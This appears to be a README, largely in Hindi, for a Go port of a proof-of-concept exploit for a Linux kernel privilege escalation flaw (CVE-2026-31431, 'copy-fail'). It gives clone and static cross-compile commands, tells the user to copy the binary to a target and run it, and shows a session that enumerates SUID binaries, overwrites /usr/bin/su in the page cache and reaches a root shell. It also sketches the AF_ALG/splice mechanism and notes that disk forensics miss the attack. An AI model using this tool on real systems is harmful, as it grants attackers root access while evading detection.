
Go port of the CVE-2026-31431 (copy-fail) Linux kernel privilege escalation PoC, with automatic SUID binary enumeration and interactive target selection.
grenkoca के Python PoC का Go पोर्ट CVE-2026-31431 (copy-fail) के लिए।
यह संस्करण पूरी तरह से स्टैटिक बाइनरी में कंपाइल होता है जिसमें शून्य रनटाइम निर्भरताएँ हैं - न Python, न pip, न libc संस्करण की बाधाएँ। इसे किसी भी Linux टारगेट पर डालें और चलाएँ। यह टारगेट पर सभी SUID वर्ल्ड-रीडेबल बाइनरीज़ को स्वचालित रूप से एन्यूमरेट भी करता है और आपको चुनने देता है कि किसका इंटरैक्टिव रूप से शोषण करना है।
केवल अधिकृत सुरक्षा अनुसंधान और CTF उपयोग के लिए।
Theori द्वारा खोजा गया और 29 अप्रैल, 2026 को सार्वजनिक रूप से प्रकट किया गया, Copy.Fail Linux कर्नेल के algif_aead क्रिप्टो मॉड्यूल में एक लॉजिक दोष है जो 2017 के ऑप्टिमाइज़ेशन के माध्यम से पेश किया गया था। यह 2017 से हर मुख्यधारा Linux वितरण को प्रभावित करता है।
कर्नेल के AF_ALG क्रिप्टो इंटरफ़ेस में हेरफेर करके, एक अनप्रिविलेज्ड हमलावर नियंत्रित डेटा सीधे Linux पेज कैश में लिख सकता है - विश्वसनीय सिस्टम बाइनरीज़ का इन-मेमोरी प्रतिनिधित्व। यह /usr/bin/su जैसी बाइनरीज़ को डिस्क पर फ़ाइल को संशोधित किए बिना अस्थायी रूप से हाईजैक करने की अनुमति देता है, जिससे डिस्क-आधारित फोरेंसिक हमले के प्रति अंधा हो जाता है।
कई LPE दोषों के विपरीत जो रेस कंडीशन या कर्नेल एड्रेस लीक पर निर्भर करते हैं, Copy.Fail अत्यधिक विश्वसनीय है और केवल एक मानक उपयोगकर्ता खाते के साथ लगातार काम करता है।
प्रभाव:
प्रभावित कर्नेल: 2017 से हर वितरण। विशिष्ट संस्करण सीमा के लिए grenkoca का मूल PoC देखें।
| टूल | संस्करण |
|---|---|
| Go | 1.21+ |
git clone https://github.com/3jee/copy-fail-go
cd copy-fail-go
go build -o copy-fail .
GOOS=linux GOARCH=amd64 CGO_ENABLED=0 go build -ldflags="-s -w" -o copy-fail .
-s -w फ्लैग बाइनरी आकार कम करने के लिए डीबग जानकारी हटाते हैं। CGO_ENABLED=0 बिना libc निर्भरता के पूरी तरह से स्टैटिक बाइनरी बनाता है - glibc संस्करण की परवाह किए बिना इसे किसी भी Linux टारगेट पर डालें।
| टारगेट | कमांड |
|---|---|
| Linux ARM64 | GOOS=linux GOARCH=arm64 CGO_ENABLED=0 go build -o copy-fail . |
| Linux 32-bit x86 | GOOS=linux GOARCH=386 CGO_ENABLED=0 go build -o copy-fail . |
बाइनरी को टारगेट पर ट्रांसफर करें और इसे निष्पादित करें (root आवश्यक नहीं):
./copy-fail
उदाहरण सत्र:
CVE-2026-31431 (copy-fail) - Go PoC
Based on grenkoca's original PoC
Scanning for SUID world-readable binaries...
SUID world-readable binaries found:
------------------------------------
[1] /usr/bin/su
[2] /usr/bin/sudo
[3] /usr/bin/passwd
[4] /usr/bin/newgrp
Select target [1-4]: 1
[*] Targeting: /usr/bin/su
[*] Writing 48 bytes to /usr/bin/su...
[+] Write complete. Executing target...
# whoami
root
O_RDONLY के साथ खोलता है - कोई राइट अनुमति आवश्यक नहीं।authencesn(hmac(sha256),cbc(aes)) AEAD ट्रांसफॉर्म से बंधा एक AF_ALG (SOCK_SEQPACKET) सॉकेट बनाता है।MSG_MORE और SOL_ALG कंट्रोल संदेशों के साथ एक क्राफ्टेड sendmsg भेजता है।splice(2) का उपयोग करता है, जो कमजोर कर्नेल पथ को ट्रिगर करता है जो फ़ाइल अनुमतियों की दोबारा जाँच किए बिना संशोधित पेज कैश पेज वापस लिखता है।| मूल (Python) | यह रिपो (Go) |
|---|
| भाषा | Python 3 | Go 1.21+ |
| टारगेट | हार्डकोडेड /usr/bin/su | लाइव फाइलसिस्टम स्कैन से स्वचालित रूप से पता लगाया गया |
| टारगेट चयन | कोई नहीं | इंटरैक्टिव नंबरित मेनू |
| वितरण | स्क्रिप्ट | एकल स्टैटिक बाइनरी (कोई रनटाइम निर्भरता नहीं) |